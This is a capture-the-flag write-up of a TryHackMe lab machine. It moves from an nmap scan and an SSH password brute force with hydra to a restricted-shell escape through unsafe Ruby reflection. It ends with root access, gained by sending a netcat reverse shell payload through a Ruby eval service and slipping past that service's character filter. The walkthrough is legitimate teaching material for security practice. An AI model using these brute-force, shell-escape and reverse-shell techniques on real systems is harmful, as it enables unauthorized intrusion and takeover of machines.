Information
Room
Name: Red Stone One Carat
Profile: tryhackme.com
Difficulty: Medium
Description : First room of the Red Stone series. Hack ruby using ruby.
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap wordlistctl hydra
Network enumeration
Port and service scan with nmap:
# Nmap 7.91 scan initiated Tue Mar 16 00:20:19 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.159.98
Nmap scan report for 10.10.159.98
Host is up (0.033s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ce:c9:85:e6:cf:67:5e:29:6a:49:af:4c:fc:49:b2:77 (RSA)
| 256 4b:17:69:52:57:24:50:b9:ff:4e:45:75:81:8f:97:12 (ECDSA)
|_ 256 67:82:c7:94:d9:da:29:bf:9a:44:41:bf:8c:35:21:f7 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 16 00:20:53 2021 -- 1 IP address (1 host up) scanned in 34.24 seconds
Anyway the description of the room says:
Start with SSH bruteforce on user noraj.
Network exploitation
The hint says:
The password contains "bu".
Let's prepare a wordlist of password containing bu
.
$ grep bu /usr/share/wordlists/passwords/rockyou.txt > /tmp/bu_wordlist.tx
Let's try SSH bruteforce with hydra
and our custom wordlist.
$ hydra -l noraj -P /tmp/bu_wordlist.txt 10.10.159.98 -t 4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-16 00:45:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task
[DATA] attacking ssh://10.10.159.98:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 126294 to do in 47:51h, 4 active
[STATUS] 32.00 tries/min, 96 tries in 00:03h, 126242 to do in 65:46h, 4 active
[22][ssh] host: 10.10.159.98 login: noraj password: cheeseburger
[STATUS] 18048.29 tries/min, 126338 tries in 00:07h, 1 to do in 00:01h, 2 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-16 00:53:13
Initial system access
Let's connect to the machine via SSH now:
$ ssh noraj@10.10.159.98
noraj@10.10.159.98's password:
Last login: Mon Mar 15 23:54:37 2021 from 10.9.19.77
red-stone-one-carat%
System reconnaissance
We quickly see we can't run any common commands:
red-stone-one-carat% ls
zsh: command not found: ls
So let's try some shell built-in ones to see where we are:
red-stone-one-carat% echo $SHELL
/bin/rzsh
rzsh
is restricted zsh, we are in a restricted shell.
red-stone-one-carat% echo $PATH
/home/noraj/bin
Or path doesn't contain /bin
, /usr/bin
or /sbin
that's why we can't execute anything
and of course we are not allowed to change our PATH.
As we don't have ls
we can use echo *
and echo .*
to list files:
red-stone-one-carat% echo *
bin
red-stone-one-carat% echo bin/*
bin/test.rb
Ok there is a ruby script we must be able to execute.
Restricted shell escape & Ruby on Rails Unsafe Reflection
Let's execute the script: red-stone-one-carat% test.rb
#!/usr/bin/ruby
require 'rails'
if ARGV .size == 3
klass = ARGV [ 0 ].constantize
obj = klass.send( ARGV [ 1 ].to_sym, ARGV [ 2 ])
else
puts File .read( __FILE__ )
end
The script is quite short. constantize
seems to be a dangerous method.
Exploiting Unsafe Reflection in Ruby/Rails Applications
The method will allow use to transform a string into a Ruby object so we could
execute code. We have the choice of the Class, class method and one argument.
We could use:
Class: File
class method: read()
argument: /home/noraj/user.txt
This is convenient to get the first flag we in the end we need to escape the
restricted shell so better find a command execution payload .
Class: Kernel
class method: exec()
argument: /bin/zsh
Let's use this and then set a PATH to be able to load commands:
red-stone-one-carat% test.rb Kernel exec '/bin/zsh'
red-stone-one-carat% export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
All common commands that can display a file are forbidden.
red-stone-one-carat% cat user.txt
zsh: permission denied: cat
red-stone-one-carat% tac user.txt
zsh: permission denied: tac
red-stone-one-carat% head user.txt
zsh: permission denied: head
...
Or do it in Ruby (more obvious) as we can execute Ruby:
red-stone-one-carat% irb
irb(main):001:0> File.read('user.txt')
=> "THM{edited}"
red-stone-one-carat% ruby -e "puts File.read('user.txt')"
THM{edited}
Elevation of Privilege (EoP)
We can see a hint file:
red-stone-one-carat% ls -lhA
total 64K
drwxr-xr-x 2 root root 4.0K Mar 15 19:38 bin
drwx------ 2 noraj noraj 4.0K Mar 15 23:52 .cache
-rw-r--r-- 1 vagrant vagrant 36 Mar 15 19:37 .hint.txt
-rw-r--r-- 1 vagrant vagrant 37 Mar 15 19:37 user.txt
-rw-r--r-- 1 noraj noraj 42K Mar 15 19:44 .zcompdump
-rw-r--r-- 1 vagrant vagrant 20 Mar 15 19:37 .zshrc
red-stone-one-carat% ruby -e "puts File.read('.hint.txt')"
Maybe take a look at local services.
Ok so let's see what network services are listening.
Again common network tools are forbidden and there is no bypass this time:
red-stone-one-carat% ss -nlpt
zsh: permission denied: ss
red-stone-one-carat% netstat -nlpt
zsh: permission denied: netstat
As the goal of the box is to use Ruby there must be a way to implement an
equivalent in Ruby.
This can be done by parsing /proc/net/tcp
where IP addresses are hex encoded
with low nibble first for many services it can be very time consuming to do
it manually so let's script it in Ruby .
require 'etc'
TCP_STATES = { # /usr/src/linux/include/net/tcp_states.h
'00' : 'UNKNOWN' ,
'FF' : 'UNKNOWN' ,
'01' : 'ESTABLISHED' ,
'02' : 'SYN_SENT' ,
'03' : 'SYN_RECV' ,
'04' : 'FIN_WAIT1' ,
'05' : 'FIN_WAIT2' ,
'06' : 'TIME_WAIT' ,
'07' : 'CLOSE' ,
'08' : 'CLOSE_WAIT' ,
'09' : 'LAST_ACK' ,
'0A' : 'LISTEN' ,
'0B' : 'CLOSING' ,
'0C' : 'NEW_SYN_RECV'
}
def decode_addr ( addr )
ip, port = addr.split( ':' )
ip = ip.scan( /. {2} / ).map{| x |x.hex.to_s}.reverse.join( '.' )
port = port.hex.to_s
" #{ ip } : #{ port } "
end
puts 'local address' .ljust( 22 ) + 'remote address' .ljust( 22 ) + 'state' .ljust( 12 ) + 'username (uid)'
File . readlines ( '/proc/net/tcp' ).each_with_index do | line , i |
entry = line.split( ' ' )
unless i == 0 # skip headers
laddr = decode_addr(entry[ 1 ])
raddr = decode_addr(entry[ 2 ])
state = TCP_STATES [entry[ 3 ].to_sym]
uid = entry[ 7 ]
uname = Etc .getpwuid(uid.to_i).name
puts " #{ laddr.ljust( 22 ) }#{ raddr.ljust( 22 ) }#{ state.ljust( 12 ) }#{ uname } ( #{ uid } )"
end
end
Encode it in oneline base64 for easy pasting on the box:
$ cat mini-netstat.rb | base64 -w 0
cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==
On the box paste it on a file:
red-stone-one-carat% printf %s 'cmVxdWlyZSAnZXRjJwoKVENQX1NUQVRFUyA9IHsgIyAvdXNyL3NyYy9saW51eC9pbmNsdWRlL25ldC90Y3Bfc3RhdGVzLmgKICAnMDAnOiAnVU5LTk9XTicsCiAgJ0ZGJzogJ1VOS05PV04nLAogICcwMSc6ICdFU1RBQkxJU0hFRCcsCiAgJzAyJzogJ1NZTl9TRU5UJywKICAnMDMnOiAnU1lOX1JFQ1YnLAogICcwNCc6ICdGSU5fV0FJVDEnLAogICcwNSc6ICdGSU5fV0FJVDInLAogICcwNic6ICdUSU1FX1dBSVQnLAogICcwNyc6ICdDTE9TRScsCiAgJzA4JzogJ0NMT1NFX1dBSVQnLAogICcwOSc6ICdMQVNUX0FDSycsCiAgJzBBJzogJ0xJU1RFTicsCiAgJzBCJzogJ0NMT1NJTkcnLAogICcwQyc6ICdORVdfU1lOX1JFQ1YnCn0KCmRlZiBkZWNvZGVfYWRkcihhZGRyKQogIGlwLCBwb3J0ID0gYWRkci5zcGxpdCgnOicpCiAgaXAgPSBpcC5zY2FuKC8uezJ9LykubWFwe3x4fHguaGV4LnRvX3N9LnJldmVyc2Uuam9pbignLicpCiAgcG9ydCA9IHBvcnQuaGV4LnRvX3MKICAiI3tpcH06I3twb3J0fSIKZW5kCgpwdXRzICdsb2NhbCBhZGRyZXNzJy5sanVzdCgyMikgKyAncmVtb3RlIGFkZHJlc3MnLmxqdXN0KDIyKSArICdzdGF0ZScubGp1c3QoMTIpICsgJ3VzZXJuYW1lICh1aWQpJwpGaWxlLnJlYWRsaW5lcygnL3Byb2MvbmV0L3RjcCcpLmVhY2hfd2l0aF9pbmRleCBkbyB8bGluZSwgaXwKICBlbnRyeSA9IGxpbmUuc3BsaXQoJyAnKQogIHVubGVzcyBpID09IDAgIyBza2lwIGhlYWRlcnMKICAgIGxhZGRyID0gZGVjb2RlX2FkZHIoZW50cnlbMV0pCiAgICByYWRkciA9IGRlY29kZV9hZGRyKGVudHJ5WzJdKQogICAgc3RhdGUgPSBUQ1BfU1RBVEVTW2VudHJ5WzNdLnRvX3N5bV0KICAgIHVpZCA9IGVudHJ5WzddCiAgICB1bmFtZSA9IEV0Yy5nZXRwd3VpZCh1aWQudG9faSkubmFtZQogICAgcHV0cyAiI3tsYWRkci5sanVzdCgyMil9I3tyYWRkci5sanVzdCgyMil9I3tzdGF0ZS5sanVzdCgxMil9I3t1bmFtZX0gKCN7dWlkfSkiCiAgZW5kCmVuZA==' | base64 -d > /tmp/ss.rb
Execute it:
vagrant@red-stone-one-carat:~$ ruby /tmp/ss.rb
...
127.0.0.1:30298 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30266 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30234 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30202 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30170 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30138 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30106 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30074 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30042 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30010 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:31547 0.0.0.0:0 LISTEN root (0)
127.0.0.1:30939 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30971 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30907 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30875 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30811 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30843 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30779 0.0.0.0:0 LISTEN vagrant (1000)
127.0.0.1:30747 0.0.0.0:0 LISTEN vagrant (1000)
...
Port 31547 service is owned by root so that must be the way.
vagrant@red-stone-one-carat:~$ nc 127.0.0.1 31547
$ id
undefined local variable or method `id' for main:Object
it's not a shell but seems to be a Ruby eval
pseudo shell.
$ File.read('/etc/passwd')
Forbidden character
Looks like many special character like dot, quotes, braces, etc. are forbidden.
Taking a look at this SO thread
again we can find a way to execute commands without using a blocked character
using %x
and curly braces {}
rather than normal ()
or square braces []
.
Also we can replace 127.0.0.1
that is using dots but localhost
.
We can start another SSH session with a netcat listener nc -nlp 9999
and
open a reverse shell:
$ %x{nc -e /bin/zsh localhost 9999}
We get a shell as root:
vagrant@red-stone-one-carat:~$ nc -nlp 9999
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
THM{edited}